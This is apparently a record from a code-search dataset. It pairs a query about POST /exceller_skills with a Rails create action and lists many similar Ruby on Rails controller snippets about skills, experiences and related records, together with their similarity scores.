end", "def index\n @skillsets = Skillset.all\n end", "def show\n @skills = @warrior.skills\n @equipment_list = @warrior.equipment_lists\n @equipment = @warrior.equipments\n @armours = @warrior.armours\n @weapons = @warrior.weapons\n # render :json => @warrior, :include => [:skills, :equipment_lists, :equipments, :armours, :weapons]\n render json: {\n warrior: @warrior,\n skills: @skills,\n equipment: @equipment,\n weapons: @weapons,\n armours: @armours,\n status: 200}\n end", "def show\n @create_request_skill = CreateRequestSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @create_request_skill }\n end\n end", "def index\n @user_work_experience_role = UserWorkExperienceRole.find_by(id: params[:user_work_experience_role_id])\n @user_work_experience = UserWorkExperience.find_by(id: @user_work_experience_role.user_work_experience_id)\n @skill_inventories = SkillInventory.includes(:user_work_skills,:skill_category).where(:\"user_work_skills.user_work_experience_role_id\" => @user_work_experience_role.id)\n render layout: 'home'\n end", "def index\n @user = User.find(params[:user_id])\n unless can? :index, @user\n authorize! :index, WorkingExperience, :message => 'Not authorized as an administrator.'\n end\n @working_experiences = @user.working_experiences\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @working_experiences }\n end\n end", "def index\n @character_experiences = CharacterExperience.all\n end", "def index\n @expertises = Expertise.all\n\n render json: @expertises\n end", "def index\n @education_levels = EducationLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @education_levels }\n end\n end", "def show\n @crew_member_skill = CrewMemberSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crew_member_skill }\n end\n end", "def get_skills_with_scores\n self.skills.map do |skill|\n #need to figure out how to get the score of the grade\n #grade user_id, skill_id, score\n score = skill.grades.find_by(user_id: self.id).score \n {skill: skill, score: score}\n end\n end", "def index\n # params = params.permit(:skills = [])\n # skills = params[:skills]\n # skills = skills.delete_if { |s| s.blank? }\n #\n # @projects = Project.where( # TODO\n\n @projects = Project.all\n end", "def index\n @skills = Skill.by_orderno\n end", "def new\n @user_skill = UserSkill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_skill }\n end\n end", "def show\n @experiencedetail = Experiencedetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experiencedetail }\n end\n end", "def pick_skills_for_lilly\n assigned_skills = []\n unassigned_skills = []\n unless params[:sp_id].nil? or params[:sp_id].blank?\n assigned_skills = ServiceProvider.find(params[:sp_id]).skills.collect {|e| e.skill}\n unassigned_skills = Physical::Liviaservices::SkillType.find(:all).find_all {|e| !assigned_skills.include?(e)}\n end\n\t\tsp_list = ServiceProvider.find(:all)\n sp_id = params[:sp_id]\n\t\trender :partial => \"assign_skill\", :locals=> {:sp_list=>sp_list, :sp_id=>sp_id, :assigned_skills=>assigned_skills,:unassigned_skills=>unassigned_skills}\n\tend", "def index\n @character_sheets = CharacterSheet.all \n @character_sheet = @character_sheets.first \n @skills = Skill.all\n @abilities = @character_sheet.abilities if @character_sheet\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @character_sheets }\n end\n end", "def index\n @users = User.where(banned: false).order(:name).includes(:skills)\n\n @users = @users.ilike(:name, params[:query]) unless params[:query].blank?\n @users = @users.tagged_with(params[:skills]) unless params[:skills].blank?\n\n @tags = User.tag_counts_on(:skills)\n @latest_users = User.where(banned: false).limit(3).order('created_at desc')\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @users }\n end\n end", "def set_exceller_skill\n @exceller_skill = ExcellerSkill.find(params[:id])\n end", "def update\n respond_to do |format|\n if @exceller_skill.update(exceller_skill_params)\n format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @exceller_skill }\n else\n format.html { render :edit }\n format.json { render json: @exceller_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @mostsmallskill = Mostsmallskill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallskill }\n end\n end", "def index\n @educations = Education.all\n render json: @educations\n end" ]
[ "0.72437215", "0.69939446", "0.69771904", "0.69594806", "0.6926032", "0.69106334", "0.6888005", "0.68848974", "0.68437004", "0.67712235", "0.67507815", "0.67087233", "0.67087233", "0.6645723", "0.66445035", "0.663061", "0.652583", "0.646758", "0.6459422", "0.64498496", "0.6436666", "0.6432458", "0.6343299", "0.6342247", "0.6342247", "0.63025165", "0.62991166", "0.62305975", "0.6197073", "0.61784756", "0.6162273", "0.6153941", "0.61519516", "0.615099", "0.61487424", "0.61424756", "0.612643", "0.610422", "0.6088796", "0.6087401", "0.6076147", "0.6071031", "0.60388446", "0.59832376", "0.59818757", "0.5973087", "0.59688914", "0.5959749", "0.594818", "0.5898939", "0.5886257", "0.5883829", "0.5879333", "0.58690995", "0.5852898", "0.58403087", "0.58377093", "0.5835642", "0.5830214", "0.5820355", "0.5808862", "0.5808862", "0.5808862", "0.5797696", "0.5779866", "0.57627267", "0.5752183", "0.5721621", "0.5719724", "0.570755", "0.56972605", "0.56840444", "0.5679278", "0.5654062", "0.56534034", "0.56506336", "0.5646083", "0.5641227", "0.5630841", "0.5630841", "0.5630624", "0.56302464", "0.56226796", "0.5622166", "0.56219476", "0.5621006", "0.5615573", "0.5611191", "0.560552", "0.5596256", "0.5596104", "0.55891824", "0.5586109", "0.55773306", "0.5573215", "0.55715513", "0.5565228", "0.5543736", "0.5539186", "0.5535437" ]
0.7118699
1
GET /exceller_skills/1 GET /exceller_skills/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @skills = Skill.all\n\n render json: @skills\n end", "def index\n @exceller_skills = ExcellerSkill.all\n end", "def index\n @issue_skills = IssueSkill.all\n render json: @issue_skills\n end", "def index\n @admin_skills = Admin::Skill.all\n\n render json: @admin_skills\n end", "def index\n\t\tauthorize! :read, Skill\n\t\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @skills }\n end\n end", "def index\n if params[:id]\n @skills = Skill.where(id:params[:id])\n elsif params[:user_id]\n @skills = Skill.where(user_id:params[:user_id])\n elsif params[:name]\n @skills = Skill.where(name:params[:name])\n else\n @skills = Skill.includes(:user).all() #fix n+1 query\n end\n render json: @skills\n end", "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "def test_get_skills_route\n render :json => get_profile_skills_for_profile(\"https://www.linkedin.com/in/marissamayer\").to_json\n end", "def index\n @skills = @user.skills\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @skills }\n end\n end", "def show\n @skill = Skill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill }\n end\n end", "def skills(id={}, options={})\n options = parse_id(id, options)\n path = \"#{profile_path(options, false)}/skills\"\n get(path, options)\n end", "def index\n\t@skills = Skill.all\n end", "def index\n @skills = Skill.all\n end", "def index\n @skills = Skill.all\n end", "def index\n @desired_skills = DesiredSkill.all\n end", "def show\n render json: @skill\n end", "def skills\n respond_with get_tags_for_contexts([\"skills\", \"reject_skills\"], params[:exclude_tags])\n end", "def show\n @skill = @user.skills.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def show\n @skill = @user.skills.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def index\n @myskills = Myskill.all\n end", "def index\n @resumes = Resume.all\n render json: @resumes, include: %i[headers educations work_experiences skills]\n end", "def show\n @mostsmallskill = Mostsmallskill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallskill }\n end\n end", "def show\n @user_skill = UserSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_skill }\n end\n end", "def index\n @skills = current_user.skills.all\n end", "def index\n @profession_skills = ProfessionSkill.all\n end", "def show\n @skill_tag = SkillTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @skill_tag }\n end\n end", "def skills_view(skills)\n skills.map { |skill| skill_view(skill) }\n end", "def show\n @employee = Employee.find(params[:id], :include=> :skills)\n end", "def show\n if params[:user_id]\n @user = User.find(params[:user_id])\n @skill = @user.skills.where(id:params[:id])\n render json: @skill\n elsif params[:id]\n @skill = Skill.where(id:params[:id])\n render json: @skill\n elsif params[:name]\n @skill = Skill.where(name:params[:name])\n render json: @skill\n else\n render json: {result:'nothing found'}\n end\n end", "def show\n render json: @admin_skill\n end", "def show\n @skill_set = SkillSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill_set }\n end\n end", "def index\n @current_skills = CurrentSkill.all\n end", "def show\n @skillinstance = Skillinstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skillinstance }\n end\n end", "def find_skills\n @user = User.find(params[:id])\n @user_skill = UserSkill.where(\"user_id = @user.id\")\n end", "def skills\n\t\t[]\n\tend", "def show\n @skill = Skill.find(params[:id])\n\t\tauthorize! :read, Skill\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill }\n end\n end", "def show\n @individual_skill_record = IndividualSkillRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @individual_skill_record }\n end\n end", "def index\n @s_skills = SSkill.all\n end", "def show\n render json: @skill_user_profile\n end", "def index\n @skill_user_profiles = SkillUserProfile.all\n\n render json: @skill_user_profiles\n end", "def index\n @warriors = Warrior.all\n render :json => @warriors, :include => [:skills, :equipment_lists,]\n\n end", "def index\n @projects_skills = ProjectsSkill.all\n end", "def index\n @culinary_skills = CulinarySkill.all\n end", "def index\n @skill_levels = SkillLevel.all\n end", "def new\n @skill = Skill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skill }\n end\n end", "def show\n @skill_suggestion = SkillSuggestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill_suggestion }\n end\n end", "def get_routing_skills_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_skills ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/skills\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SkillEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_skills\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @create_request_skill = CreateRequestSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @create_request_skill }\n end\n end", "def index\n @special_skills = SpecialSkill.all\n end", "def index\n @employees = Employee.search(params[:search]).page(params[:page]).per(8)\n @skills = Skill.all\n\n end", "def index\n @skill_categories = SkillCategory.includes(:skills)\n # @skills = Skill.all\n end", "def get_routing_skills_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_skills ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/skills\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud Auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SkillEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_skills\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @skills_users = SkillsUser.all\n end", "def show\n @crew_member_skill = CrewMemberSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crew_member_skill }\n end\n end", "def create\n @exceller_skill = ExcellerSkill.new(exceller_skill_params)\n\n respond_to do |format|\n if @exceller_skill.save\n format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully created.' }\n format.json { render :show, status: :created, location: @exceller_skill }\n else\n format.html { render :new }\n format.json { render json: @exceller_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @crew_skills = CrewSkill.all\n end", "def index\n @buildskills = Buildskill.all\n end", "def show\n @experiencedetail = Experiencedetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experiencedetail }\n end\n end", "def index\n @user_skills = UserSkill.all.where(user_id: current_user)\n @result = @user_skills\n @result_first = @user_skills.first\n end", "def index\n @opening_skills = OpeningSkill.all\n end", "def new\n @user_skill = UserSkill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_skill }\n end\n end", "def new\n @mostsmallskill = Mostsmallskill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallskill }\n end\n end", "def new\n @skill = @user.skills.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def index\n @skills = Skill.all\n skills = Skill.all.map { |skill| [skill.name, skill.id] }\n @options = skills.unshift(['指定なし', nil])\n\n if params[:skill_id].present?\n @users = User.joins(:skills).where(skills: { id: params[:skill_id] })\n else\n @users = User.all\n end\n end", "def show\n @skill = Skill.find(params[:id])\n @resource = Resource.new\n @resources = @skill.resources.paginate(page: params[:page])\n end", "def index\n @skill_lists = SkillList.all\n end", "def index\n @trainees = Trainee.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @trainees.to_json(:except => [:created_at, :updated_at], :include => {:skills => { :except => [:created_at, :updated_at]} }) }\n end\n\n end", "def index\n @character_sheets = CharacterSheet.all \n @character_sheet = @character_sheets.first \n @skills = Skill.all\n @abilities = @character_sheet.abilities if @character_sheet\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @character_sheets }\n end\n end", "def searchByExperience\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\n\t\t\tresults = Doctor.where(\"experience LIKE ?\", \"%#{prms['experience'][0]}%\")\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def index\n @experiences = Experience.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @experiences }\n end\n end", "def new\n @skill_set = SkillSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skill_set }\n end\n end", "def set_exceller_skill\n @exceller_skill = ExcellerSkill.find(params[:id])\n end", "def index\n @computer_skills = current_user.computer_skills.all\n @computerSkillList = ComputerSkillList.all\n @skillLevel = SkillLevel.all\n end", "def get_first_n_skills(n)\n return '' if self.skill_ids.blank?\n self.skills.take(n).collect(&:name).join(', ')\n # @skills = Rails.cache.fetch(\"skills-#{self.id}-#{n}\", expires_in: 1.hours) do\n # self.skills.take(n).collect(&:name).join(', ')\n # end\n # return @skills\n end", "def update\n respond_to do |format|\n if @exceller_skill.update(exceller_skill_params)\n format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @exceller_skill }\n else\n format.html { render :edit }\n format.json { render json: @exceller_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @experiences = Experience.all\n end", "def index\n @experiences = Experience.all\n end", "def index\n @experiences = Experience.all\n end", "def show\n @mostsmallskillcategory = Mostsmallskillcategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallskillcategory }\n end\n end", "def create\n @skill = Skill.new(skill_params)\n\n if @skill.save\n render json: @skill, status: :created, location: @skill\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end", "def index\n @expertises = Expertise.all\n\n render json: @expertises\n end", "def update\n @skill = Skill.find(params[:id])\n\n if @skill.update(skill_params)\n head :no_content\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end", "def new\n @skillinstance = Skillinstance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skillinstance }\n end\n end", "def get_skills_with_scores \n self.skills.map do |skill|\n score = skill.grades.find_by(user_id: self.id).score\n {skill: skill, score: score}\n end\n end", "def show\n @skills = @warrior.skills\n @equipment_list = @warrior.equipment_lists\n @equipment = @warrior.equipments\n @armours = @warrior.armours\n @weapons = @warrior.weapons\n # render :json => @warrior, :include => [:skills, :equipment_lists, :equipments, :armours, :weapons]\n render json: {\n warrior: @warrior,\n skills: @skills,\n equipment: @equipment,\n weapons: @weapons,\n armours: @armours,\n status: 200}\n end", "def set_skill\n @skill = @character.skills.find(params[:id])\n end", "def show\n # OBSOLETE\n authorize! :read, @study_plan\n @skill = Skill.find(params[:id])\n @competence = Competence.find(params[:competence_id])\n \n @prereq_ids = @skill.prereq_ids.to_set\n @prereq_courses = @skill.prereq_courses.includes([:localized_description, {:skills => :localized_description}]).uniq\n \n log(\"view_skill #{@skill.id}\")\n render :action => 'show', :layout => 'leftnav'\n end", "def index\n @skillsets = Skillset.all\n end", "def index\n @skillsets = Skillset.all\n end", "def new\n @skill_tag = SkillTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @skill_tag }\n end\n end", "def index\n @function_experiences = FunctionExperience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @function_experiences }\n end\n end", "def show\n @skill_level = SkillLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @skill_level }\n end\n end", "def skillsNeeded\n\t\t[]\n\tend", "def index\n @education_levels = EducationLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @education_levels }\n end\n end", "def blue_magic_skills\n @skills.select { |id| $data_skills[id].blue_magic }\n end", "def index\n @skill_inventories = SkillInventory.all\n end", "def show\n @employee_skill = EmployeeSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @employee_skill }\n end\n end", "def show\n @occupation = Occupation.find(params[:id])\n\n # Create instance varibles for talents\n @talented = @occupation\n @talents = @talented.talents\n @talent = Talent.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @occupation }\n\n # Create instance varibles for skills\n @skill = @occupation\n @skill = Skill.new \n @skills = @occupation.skills\n end\n end", "def index\n @skill_slots = SkillSlot.all\n end", "def index\n @user_work_experience_role = UserWorkExperienceRole.find_by(id: params[:user_work_experience_role_id])\n @user_work_experience = UserWorkExperience.find_by(id: @user_work_experience_role.user_work_experience_id)\n @skill_inventories = SkillInventory.includes(:user_work_skills,:skill_category).where(:\"user_work_skills.user_work_experience_role_id\" => @user_work_experience_role.id)\n render layout: 'home'\n end", "def show\n @lesson_learned = LessonLearned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_learned }\n end\n end" ]
[ "0.72847444", "0.69850016", "0.6938604", "0.68935597", "0.6888333", "0.6878451", "0.68780524", "0.6842839", "0.67772365", "0.6758301", "0.67424834", "0.67182195", "0.6695865", "0.6695865", "0.66105884", "0.6603269", "0.6530483", "0.6509033", "0.6509033", "0.64886713", "0.6476817", "0.6475747", "0.6467831", "0.64672107", "0.6420177", "0.63896483", "0.6375928", "0.6361743", "0.63488305", "0.63482577", "0.6313386", "0.6299947", "0.6283193", "0.6280098", "0.6278717", "0.6192898", "0.6190332", "0.6174356", "0.61616856", "0.61478233", "0.6144995", "0.6128728", "0.6121809", "0.6110008", "0.6108946", "0.61036974", "0.6081677", "0.60690737", "0.6053921", "0.6007946", "0.59890294", "0.59868425", "0.59550464", "0.59438103", "0.5936848", "0.59328103", "0.5926257", "0.58883005", "0.5886094", "0.58856905", "0.5879061", "0.5868774", "0.58622646", "0.58572", "0.58498716", "0.5849238", "0.58408", "0.5835222", "0.58296996", "0.58230984", "0.581073", "0.57973593", "0.57882595", "0.5773934", "0.57723355", "0.5762615", "0.5762615", "0.5762615", "0.57447267", "0.57390606", "0.57345635", "0.57302594", "0.5726028", "0.5724122", "0.5721131", "0.57172674", "0.5714142", "0.5694028", "0.5694028", "0.5693388", "0.5685398", "0.568421", "0.56761056", "0.5675428", "0.5671534", "0.56660396", "0.56578195", "0.5657355", "0.5654118", "0.5652505", "0.5651657" ]
0.0
-1
POST /exceller_skills POST /exceller_skills.json
def create @exceller_skill = ExcellerSkill.new(exceller_skill_params) respond_to do |format| if @exceller_skill.save format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully created.' } format.json { render :show, status: :created, location: @exceller_skill } else format.html { render :new } format.json { render json: @exceller_skill.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @saved_skills, @unsaved_skills = [], []\n Skill.parse(params[:skills]).each do |skill|\n s = Skill.new(:name => skill, :user => current_user)\n begin\n s.save!\n @saved_skills << skill\n rescue\n @unsaved_skills << skill\n end\n end\n\n respond_to do |format|\n if @saved_skills.size > 0\n flash[:notice] = \"Skills successfully created: #{@saved_skills.join(', ')}\"\n unless @unsaved_skills.empty?\n flash[:warning] = \"Couldn't save the following skills: #{@unsaved_skills.join(', ')}\"\n end\n format.html { redirect_to(user_skills_path(current_user)) }\n format.xml { render :xml => @saved_skills, :status => :created }\n else\n flash[:error] = \"Couldn't save the following skills: #{@unsaved_skills.join(', ')}\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @unsaved_skills, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @skill = Skill.new(skill_params)\n\n if @skill.save\n render json: @skill, status: :created, location: @skill\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end", "def create\n byebug\n @admin_skill = Admin::Skill.new(admin_skill_params)\n\n if @admin_skill.save\n render json: @admin_skill, status: :created, location: @admin_skill\n else\n render json: @admin_skill.errors, status: :unprocessable_entity\n end\n end", "def create\n\t\t@skill = @resume.skills.new({\n\t\t\t:name => 'Name',\n\t\t\t:level_id => 1,\n\t\t\t:start_date_string => Date.today.to_s,\n\t\t\t:end_date_string => Date.today.to_s\n\t\t})\n\t\t@skill.save!\n\trescue\n\t\tflash.now[:error] = 'Skill creation FAILED!'\n\t\trender :text => ''\n\tend", "def create\n @skill = @user.skills.new(params[:skill])\n\n respond_to do |format|\n if @skill.save\n flash[:notice] = 'Skill was successfully created.'\n format.html { redirect_to(user_skills_path(@user)) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n skill = Skill.new(skill_params)\n \n if skill.save\n render json: {status: 'SUCCESS', message:'Saved skill', data:skill},status: :ok\n else\n render json: {status: 'ERROR', message:'Skill not saved', data:skill.errors},status: :unprocessable_entity\n end\n end", "def create\n @skill = Skill.new(params[:skill])\n\n respond_to do |format|\n if @skill.save\n format.html { redirect_to @skill, notice: 'Skill was successfully created.' }\n format.json { render json: @skill, status: :created, location: @skill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @desired_skill = DesiredSkill.new(desired_skill_params)\n\n respond_to do |format|\n if @desired_skill.save\n format.html { redirect_to @desired_skill, notice: 'Desired skill was successfully created.' }\n format.json { render :show, status: :created, location: @desired_skill }\n else\n format.html { render :new }\n format.json { render json: @desired_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profession_skill = ProfessionSkill.new(profession_skill_params)\n\n respond_to do |format|\n if @profession_skill.save\n format.html { redirect_to @profession_skill, notice: 'Profession skill was successfully created.' }\n format.json { render :show, status: :created, location: @profession_skill }\n else\n format.html { render :new }\n format.json { render json: @profession_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_params\n params.require(:skill).permit(:description, :name, :characteristic)\n\n end", "def create\n respond_to do |format|\n begin\n if params[\"skills_user\"][\"user_id\"]\n skill_id = params[\"skills_user\"][\"skill_id\"]\n user_ids = params[\"skills_user\"][\"user_id\"].reject{ |c| c.empty? }\n user_ids.each do |user_id|\n SkillsUser.create(skill_id: skill_id, user_id: user_id)\n end\n format.html { redirect_to skills_users_path, notice: 'Skills user was successfully created.' }\n end\n rescue\n format.html { render :new }\n format.json { render json: @skills_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_params\n params.require(:skill).permit(:e_no, :battle_type, :set_no, :skill_id, :name)\n end", "def exceller_skill_params\n params.require(:exceller_skill).permit(:exceller_id, :skill_id, :proficiency, :created_by, :modified_by, :deleted_at)\n end", "def skill_params\n params.require(:skill).permit(:name, :experience, :typeOfSkill)\n end", "def create\n @user_skill = UserSkill.new(params[:user_skill])\n\n respond_to do |format|\n if @user_skill.save\n format.html { redirect_to @user_skill, notice: 'User skill was successfully created.' }\n format.json { render json: @user_skill, status: :created, location: @user_skill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_params\n params.require(:skill).permit(:name, :description)\n end", "def create\n @skill = Skill.new(skill_params)\n\n respond_to do |format|\n if @skill.save\n format.html { redirect_to admin_skills_path, \n notice: 'Skill was successfully added.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n byebug\n @employee = Employee.new(employee_params)\n\n params[:skills][:skill_id].each do |skill|\n byebug\n if !skill.empty?\n @employee.empskill.build(:skill_id => skill)\n end\n end\n\n respond_to do |format|\n if @employee.save\n format.html { redirect_to @employee, :format => @user }\n format.json { render :show, status: :created, location: @employee, :format => @user }\n else\n flash[:notice] = \"Mandatory fields are empty\"\n format.html { render :employees }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_params\n params.require(:skill).permit(:character_id, :name, :ability, :proficient)\n end", "def skill_params\n params.require(:skill).permit(:e_no, :set_no, :skill_type_id, :type_id, :nature_id, :skill_id, :name, :timing_id)\n end", "def skill_params\n params.require(:skill).permit(:profile_id, :name, :level, :logo)\n end", "def skill_params\n params.require(:skill).permit(:name)\n end", "def create\n @myskill = Myskill.new(myskill_params)\n respond_to do |format|\n if @myskill.save\n format.html { redirect_to @myskill, notice: 'Myskill was successfully created.' }\n format.json { render :show, status: :created, location: @myskill }\n else\n format.html { render :new }\n format.json { render json: @myskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @issue_skill = IssueSkill.new(issue_skill_params)\n @issue_skill.save\n render json: @issue_skill\n\n # respond_to do |format|\n # if @issue_skill.save\n # format.html { redirect_to @issue_skill, notice: \"Issue skill was successfully created.\" }\n # format.json { render :show, status: :created, location: @issue_skill }\n # else\n # format.html { render :new, status: :unprocessable_entity }\n # format.json { render json: @issue_skill.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @user = User.find(session[:user_id])\n @proyecto = Proyecto.new(proyecto_params)\n @user.proyectos << @proyecto\n @proyecto.update(empresa_id: @user.id)\n #it gets values from skill \n params[:proskill][:skill_ids] ||= []\n skills = params[:proskill][:skill_ids]\n skills.each do |skill|\n @proskill = Proskill.new(skill_id: skill, proyecto_id: @proyecto.id)\n @proskill.save\n end\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_params\n params.require(:skill).permit(:title, :level)\n end", "def skill_params\n params.require(:skill).permit(:skill_name, :skill_category_id)\n end", "def create\n @create_request_skill = CreateRequestSkill.new(params[:create_request_skill])\n\n respond_to do |format|\n if @create_request_skill.save\n format.html { redirect_to @create_request_skill, notice: 'Create request skill was successfully created.' }\n format.json { render json: @create_request_skill, status: :created, location: @create_request_skill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @create_request_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def experience_params\n params.require(:experience).permit(:description, :level, :user_id, :skill_id)\n end", "def create\n if !skill_already_exists?(skill_params)\n ## Find Skill in db , if it already exists, just take that otherwise create new\n @skill = Skill.all.where(title: skill_params[:title]).where(level: skill_params[:level]).first\n if @skill == nil\n @skill = Skill.new(skill_params)\n respond_to do |format|\n if @skill.save\n current_user.skills << 